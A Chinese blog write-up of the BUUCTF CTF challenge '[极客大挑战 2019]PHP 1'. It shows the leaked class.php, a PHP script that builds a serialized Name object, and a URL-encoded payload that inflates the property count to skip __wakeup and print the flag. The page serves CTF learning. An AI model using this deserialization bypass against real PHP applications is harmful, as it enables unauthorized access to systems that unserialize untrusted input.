反序列漏洞之[极客大挑战 2019]PHP1

本文介绍了如何通过PHP的序列化漏洞,绕过类的__wakeup方法,最终达到调用__destruct方法并获取flag的目标。通过修改序列化字符串中的属性数量来避开wakeup检查,构造特定的序列化输入,实现安全漏洞的利用。
摘要由CSDN通过智能技术生成

参考博文wpBUUCTF [极客大挑战 2019]PHP 1_wow小华的博客-CSDN博客

首先打开网站说他有备份;听其他师父说看到这种一般爆破目录;用dirsearch

扫,也听说这种一般都是www.zip

所以猜www.zip

打开发现真的有,下载后有几个文件,其中有用的就index.php和class.php

index.php代码:

这里面的意思就是 传进一个select,然后将select反序列化(unserialize);所以我们需要将传入的select先序列化;

class.php代码解读:

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

我们要调用到__destruct()并且password=100,username=admin才能echo $flag
怎么调用到它呢?其实不用我们动手,在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数)但首先要绕过wakeup。调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

 绕过wakeup方法:当成员属性数目大于实际数目时可绕过wakeup;这是反序列化的漏洞

构造序列化:

<?php
class Name
{
    private $username = "yesyesyes";
    private $password = "nonono";
    public function __construct($username,$password)
    {
        $this->username=$username;
        $this->password=$password;
    }
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>

2.__wakeup()方法绕过

作用:
与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
上面的代码,序列化后的结果为

O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
  • 1

其中name后面的2,代表类中有2个属性,但如果我们把2改成3,就会绕过__wakeup()函数。

O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

但其中的空格“\0”和引号""URL是识别不了的,需要转换为URL编码:空格是%00," 是%22

所以构造

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值